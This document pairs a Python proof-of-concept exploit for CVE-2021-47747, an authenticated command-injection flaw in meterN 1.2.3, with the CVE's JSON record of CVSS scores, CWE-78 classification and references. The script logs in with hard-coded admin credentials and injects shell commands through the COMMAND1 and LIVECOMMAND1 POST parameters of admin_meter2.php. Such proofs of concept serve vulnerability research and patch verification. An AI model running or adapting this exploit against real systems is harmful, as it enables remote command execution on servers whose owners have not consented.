CVE-2021-47747

#!/usr/bin/env python3 """ CVE-2021-47747 PoC - meterN 1.2.3 Authenticated RCE """ import requests import sys TARGET = "http://target.com/meterm" USERNAME = "admin" PASSWORD = "admin123" CMD = "id" def exploit(): # Login to get session session = requests.Session() login_data = {"user": USERNAME, "pass": PASSWORD} resp = session.post(f"{TARGET}/login.php", data=login_data) if "success" not in resp.text.lower(): print("[-] Login failed") return print("[+] Login successful") # RCE via COMMAND1 parameter rce_data = { "COMMAND1": f"{CMD} > /tmp/rce_output.txt", "LIVECOMMAND1": f"; {CMD} #", "save": "" } resp = session.post(f"{TARGET}/admin_meter2.php", data=rce_data) print(f"[+] RCE Payload sent: {CMD}") print(f"[*] Check /tmp/rce_output.txt on target") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2021-47747", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:43.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "meterN 1.2.3 contains an authenticated remote code execution vulnerability in admin_meter2.php and admin_indicator2.php scripts. Attackers can exploit the 'COMMANDx' and 'LIVECOMMANDx' POST parameters to execute arbitrary system commands with administrative privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://web.archive.org/web/20210617084455/https://www.metern.org/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50596", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/metern-authenticated-remote-code-execution-via-admin-scripts", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php", "source": "[email protected]"}]}}